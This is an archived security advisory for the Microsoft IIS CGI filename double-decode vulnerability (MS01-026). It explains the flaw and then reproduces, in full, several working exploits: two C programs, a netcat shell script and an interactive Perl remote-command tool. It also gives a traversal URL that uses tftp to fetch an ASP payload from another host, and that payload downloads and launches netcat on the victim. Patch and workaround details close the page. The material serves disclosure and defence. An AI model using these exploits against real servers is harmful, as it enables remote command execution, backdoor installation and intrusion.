|
Vulnerability IIS Affected IIS 3, 4, 5 Description Following is based on a NSFOCUS SA2001-02 Security Advisory. NSFOCUS Security Team has found a vulnerability in filename processing of CGI program in MS IIS4.0/5.0. CGI filename is decoded twice by error. Exploitation of this vulnerability, intruder may run arbitrary system command. When loading executable CGI program, IIS will decode twice. First, CGI filename will be decoded to check if it is an executable file (for example, '.exe' or '.com' suffix check-up). Successfully passing the filename check-up, IIS will run another decode process. Normally, only CGI parameters should be decoded in this process. But this time IIS mistakenly decodes both CGI parameters and the decoded CGI filename. In this way, CGI filename is decoded twice by error. With a malformed CGI filename, attacker can get round IIS filename security check-ups like '../' or './' check-up. In some cases, attacker can run arbitrary system command. For example, a character '\' will be encoded to "%5c". And the corresponding code of these 3 characters is: '%' = %25 '5' = %35 'c' = %63 encode this 3 characters for another time, we can get many results such as: %255c %%35c %%35%63 %25%35%63 ... Thereby, '..\' can be represented by '..%255c' and '..%%35c', etc. After first decoding, '..%255c' is turned into '..%5c'. IIS will take it as a legal character string that can pass security check-up. But after a second decode process, it will be reverted to '..\'. Hence, attacker can use '..\' to carry out directory traversal and run arbitrary program outside of Web directory. For example, TARGET has a virtual executable directory (e.g. "scripts") that is located on the same driver of Windows system. Submit request like this: http://TARGET/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ Directory list of C:\ will be revealed. Of course, same effect can be achieved by this kind of processing to '/' and '.'. For example: "..%252f", ".%252e/"... Note: Attacker can run commands of IUSER_machinename account privilege only. We can add Microsoft-PWS to the list of affected systems - just confirmed on NT4 W/S SP6. Filip Maertens posted exploit code: /* * * execiis.c - (c)copyright Filip Maertens * BUGTRAQ ID: 2708 - Microsoft IIS CGI Filename Decode Error * * DISCLAIMER: This is proof of concept code. This means, this code * may only be used on approved systems in order to test the availability * and integrity of machines during a legal penetration test. In no way * is the author of this exploit responsible for the use and result of * this code. * */ #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <unistd.h> #include <string.h> /* Modify this value to whichever sequence you want. * * %255c = %%35c = %%35%63 = %25%35%63 = / * */ #define SHOWSEQUENCE "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+" int main(int argc, char *argv[]) { struct sockaddr_in sin; char recvbuffer[1], stuff[200]; int create_socket; printf("iisexec.c | Microsoft IIS CGI Filename Decode Error | <filip@securax.be>\n-------------------------------------------------------------------------\n"); if (argc < 3) { printf(" -- Usage: iisexec [ip] [command]\n"); exit(0); } if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 ) printf(" -- Socket created.\n"); sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr(argv[1]); if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0) printf(" -- Connection made.\n"); else { printf(" -- No connection.\n"); exit(1); } strcat(stuff, "GET "); strcat(stuff, SHOWSEQUENCE); strcat(stuff, argv[2]); strcat(stuff, " HTTP/1.0\n\n"); memset(recvbuffer, '\0',sizeof(recvbuffer)); send(create_socket, stuff, sizeof(stuff), 0); recv(create_socket, recvbuffer, sizeof (recvbuffer),0); if ( ( strstr(recvbuffer,"404") == NULL ) ) printf(" -- Command output:\n\n"); while(recv(create_socket, recvbuffer, 1, 0) > 0) { printf("%c", recvbuffer[0]); } else printf(" -- Wrong command processing. \n"); close(create_socket); } Leif Jakob sent a short Shell-Script for testing of the latest IIS-escape vulnerability: #!/bin/sh # Copyright 2001 by Leif Jakob <bugtraq@jakob.weite-welt.com> # # do not abuse this code... blah blah :) if [ -z "$1" ] ; then echo "usage:" echo "$0 hostname" exit 1 fi host="$1" NETCAT=`which netcat` if [ -z "$NETCAT" ] ; then NETCAT=`which nc` fi if [ -z "$NETCAT" -o ! -x "$NETCAT" ] ; then echo "you need netcat to make this work" exit 1 fi echo "using netcat:$NETCAT" function makeRequest { host="$1" count=$2 cmd="$3" echo -n 'GET /scripts/' while [ $count -gt 0 ] ; do echo -n '..%255c' count=$((count-1)) done echo -n 'winnt/system32/cmd.exe?/c+' echo -n "$cmd" echo ' HTTP/1.0' echo "Host: $host" echo '' echo 'dummy' } function testHost { host="$1" count=10 # you can't overdo it cmd='dir+c:\' makeRequest "$host" "$count" "$cmd" | netcat -w 4 $host 80 } testHost "$host" You can elevating privileges by using the .asp file to upload and execute the nc file and to get the system permissions. Another code: /* IISEX by HuXfLuX <huxflux2001@hotmail.com>. IIS CGI File Decode Bug exploit. Written 16-05-2001. Compiles on Linux, works with IIS versions 3, 4 and 5. Microsoft's products were always famous for their backward compatibility! You can change the SHOWSEQUENCE value to some other strings that also work. More info: http://www.nsfocus.com Thanx to Filip Maertens <filip@securax.be> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdarg.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <netdb.h> #include <arpa/inet.h> #define SHOWSEQUENCE "/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+" int resolv(char *hostname,struct in_addr *addr); int main(int argc, char *argv[]) { struct sockaddr_in sin; struct in_addr victim; char recvbuffer[1], stuff[200]=""; int create_socket; printf("IISEX by HuxFlux <huxflux2001@hotmail.com>\nThis exploits the IIS CGI Filename Decode Error.\nWorks with IIS versions 3, 4 and 5!.\n"); if (argc < 3) { printf("[?] Usage: %s [ip] [command]\n", argv[0]); exit(0); } if (!resolv(argv[1],&victim)) { printf("[x] Error resolving host.\n"); exit(-1); } printf("\n[S] Exploit procedure beginning.\n"); if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 ) printf("[*] Socket created.\n"); bzero(&sin,sizeof(sin)); memcpy(&sin.sin_addr,&victim,sizeof(struct in_addr)); sin.sin_family = AF_INET; sin.sin_port = htons(80); //sin.sin_addr.s_addr = inet_addr(argv[1]); if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0) printf("[*] Connection made.\n"); else { printf("[x] No connection.\n"); exit(1); } strcat(stuff, "GET "); strcat(stuff, SHOWSEQUENCE); strcat(stuff, argv[2]); strcat(stuff, " HTTP/1.0\r\n\r\n"); printf("[*] Sending: %s", stuff); memset(recvbuffer, '\0',sizeof(recvbuffer)); send(create_socket, stuff, sizeof(stuff), 0); if ( strstr(recvbuffer,"404") == NULL ) { printf("[*] Command output:\n\n"); while(recv(create_socket, recvbuffer, 1, 0) > 0) { printf("%c", recvbuffer[0]); } printf("\n\n"); } else printf("[x] Wrong command processing. \n"); printf("[E] Finished.\n"); close(create_socket); } int resolv(char *hostname,struct in_addr *addr) { struct hostent *res; if (inet_aton(hostname,addr)) return(1); res = gethostbyname(hostname); if (res == NULL) return(0); memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr)); return(1); } Cyrus The Great included a perl exploit for IIS4/5 CGI decode hole. First detects vulnerable servers and if detectable, You just enter the commands and it executes them for you remotely, you can also creat new files remotely, and use them for ftp or other commands. #!/usr/bin/perl # Written by Cyrus The Gerat , CyrusArmy@Bigfoot.com, May 15th 2001 # This perl script lets you to test the vulnerable servers to IIS4/5 CGI decode hole, # Also you can exploit the hole and execute your commands remotely! # Vulnerability found by NSfocus security team, # Tested for compatibility on UNIX/WINDOWS (activestate perl) # Works well on windows and unix platforms, $ARGC=@ARGV; if ($ARGC <3) { print "\n\nRemote IIS4/5 decode hole tester! By CyrusTheGreat ,CyrusArmy\@Bigfoot.com\n"; print "\n Usage:\n\n $0 <victim host> <victim port> <command line to execute>\n\n"; print " Victim Host: Address of IIS4/5 server vulnerable to decode hole! \n"; print " Victim port: HTTP/HTTPS port 80 or 443\n"; print " Command to Execute: for example \"echo Just hacked! > hacked.txt\" \n\n"; exit; } use Socket; my ($host,$port,$target,$notvulnerable,$notfound,$notcopied,$accessdenied); $host=$ARGV[0]; $port=$ARGV[1]; $target=inet_aton($host); $notvulnerable=1; $notfound=1; $accessdenied=0; print "\nRemote IIS4/5 decode hole tester! By CyrusTheGreat ,CyrusArmy\@Bigfoot.com\n"; print "Connecting to server $host port $port..., \n\n"; @results=sendraw("GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+ver HTTP/1.0\r\n\r\n"); for ($i=0; $i <=7 ;$i++ ) { print $results[$i]; } foreach $line (@results){ if ($line =~ /\[Version/) { $notvulnerable=0; print "\nWow! system is vulnerable.\n"; print $line; } } if ($notvulnerable) { print "\nOops! System is not vulnerable. \n"; exit(1); } # you can exchange Wow! and Oops! as you prefer! ;-) print "\nChecking for command interpreter...\n"; @results=sendraw("GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir%20cyrus%2eexe HTTP/1.0\r\n\r\n"); #print @results; foreach $line (@results){ if ($line =~ /cyrus.exe/) {$notfound=0;} } if ($notfound) { print "Command interpreter not found, Trying to copy cmd.exe \n"; @results=sendraw("GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+%2e%2e%5c%2e%2e%5cwinnt%5csystem32%5ccmd%2eexe+cyrus%2eexe HTTP/1.0\r\n\r\n"); #print @results; } foreach $line (@results){ if (($line =~ /denied/ )) {$accessdenied=1;} } if ($accessdenied) { print"Cannot copy command interpreter, Try manually! \n\n"; exit(2); } else { print "Command interpreter OK \n"; } $command=@ARGV[2]; print "Now executing your command: $command \n\n"; #$command=~s/ /\%20/g; $command =~ s/(\W)/sprintf("%%%x", ord($1))/eg; #print $command; my @results=sendraw("GET /scripts/cyrus.exe?/c+$command HTTP/1.0\r\n\r\n"); print @results; print STDOUT "\n\nMore commands? , or EOF to end:\n"; while ($command = <STDIN>) { print "You said: $command \n"; chop $command; $command =~ s/(\W)/sprintf("%%%x", ord($1))/eg; my @results=sendraw("GET /scripts/cyrus.exe?/c+$command HTTP/1.0\r\n\r\n"); print @results; print "\n\nTell me more, or EOF (^D/^Z) to end:\n"; } print "\nThat's all! Another IIS hole just similified by cyrus!\n"; sub sendraw { my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ my @in; select(S); $|=1; print $pstr; while(<S>){ push @in, $_;} select(STDOUT); close(S); return @in; } else { print "Cannot connect to $host port $port\n"; exit(3); } } This is what You can do: http://192.168.0.1/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp.exe+-i+192.168.0.2+GET+f.asp+c:\inetpub\scripts\f.asp Then run http://192.168.0.1/f.asp Following is a copy of the f.asp: <% Set fs = CreateObject("Scripting.FileSystemObject") Set drv = fs.Drives dmax = "" dmac = 0 For each d in drv If d.Driveletter <> "A" And d.IsReady Then If d.AvailableSpace > dmac then dmac = d.AvailableSpace dmab = d.DriveType dmaa = d.TotalSize dmad = d.SerialNumber dmax = d.DriveLetter End If End If Next filename = server.mappath("dl.bat") Set tf = fs.CreateTextFile(filename, True) tf.WriteLine("@echo off") tf.WriteLine("cd \Inetpub\scripts") tf.WriteLine("startDL:") tf.WriteLine("tftp.exe -i 192.168.1.33 get ncx99.exe c:\inetpub\scripts\nc0.exe") tf.WriteLine("if not exist ncx99.exe goto startDL") tf.WriteLine("start /w nc0.exe") tf.WriteLine("attrib TFTP* -r") tf.WriteLine("attrib nc0.exe -r") tf.WriteLine("del TFTP*") tf.WriteLine("exit") tf.Close dim command dim wshShell command = server.mappath("dl.bat") & " " & dmax On Error Resume Next Set wshShell = CreateObject("WScript.Shell") wshShell.Run (command) If Err Then Set objFSO = Server.CreateObject("scripting.filesystemobject") pathname = server.mappath("dl.bat") objFSO.DeleteFile pathname Set objFSO = Nothing Else Response.Write "|" & dmax & "*" & dmab & "*" & dmac & "*" & dmaa & "*" & dmad End If %> Here we want to explain why exploitation of this vulnerability fails in some cases. The vulnerability exists in both IIS 4.0 and IIS 5.0, but exploitation of it would fail for some factors. 1. Why NT 4 SP6(SP6a) is not affected? That's because SP6(a) will perform a check for the existence of requested file after the first decoding. Attack fails for files like C:\interpub\scripts\..%5c..%5c..%5cwinnt\system\cmd.exe do not actually exist. But this check of SP6 seems to be just a temporary fix to address some certain vulnerability. And it was removed in some following hotfixes. Thus, if you have only applied SP6(a) for your NT 4, you would not be affected by this vulnerability. 2. Will systems with patch provided by MS00-078(MS00-057) be affected? MS00-078 and MS00-057 provide the same patch, which will perform a check of filename for ".\" and "./" after the first decoding. In case that such characters exist, request would be denied. Thus, it only casually addresses UNICODE vulnerability. By covering "./" or ".\" after the first decoding, an attacker can still successfully make use of "Decoding error" vulnerability. For example: ..%255c..%255cwinnt/system32/cmd.exe will be converted into ..%5c..%5cwinnt/system32/cmd.exe after the first decoding. Thus the request can bypass the security check. But ..%255c../winnt/system32/cmd.exe will be converted into ..%5c../winnt/system32/cmd.exe after the first decoding. Thus the attack fails since the decoded name contains './'. 3. Will systems with patch provided by MS00-086 be affected? The patch provided by MS00-086 successfully addressed the UNICODE vulnerability. But Microsoft has updated the patches for some times. First versions will provide filename check for some dangerous characters like '%' or '"' after the first decoding. Thus, you will not be affected by "Decoding error" vulnerability if you apply these versions. But Microsoft remove the check again in the final version of the patch, apply which will make your system affected. Solution Workaround: 1. If executable CGI is not integrant, delete the executable virtual directory like /scripts etc. 2. If executable virtual directory is needed, we suggest you to assign a separate local driver for it. 3. Move all command-line utilities to another directory that could be used by an attacker, and forbid GUEST group access those utilities. The bulletin is live at: http://www.microsoft.com/technet/security/bulletin/MS01-026.asp Patches are available at: Microsoft IIS 4.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29787 Microsoft IIS 5.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29764 If you had MS01-026 applied prior to SP2 you should not be vulnerable to the sadminD/IIS Worm (unless you have configuration problems). If you didn't apply MS01-026, but have applied SP2, you are still vulnerable to some IIS exploits and need to get additional patches.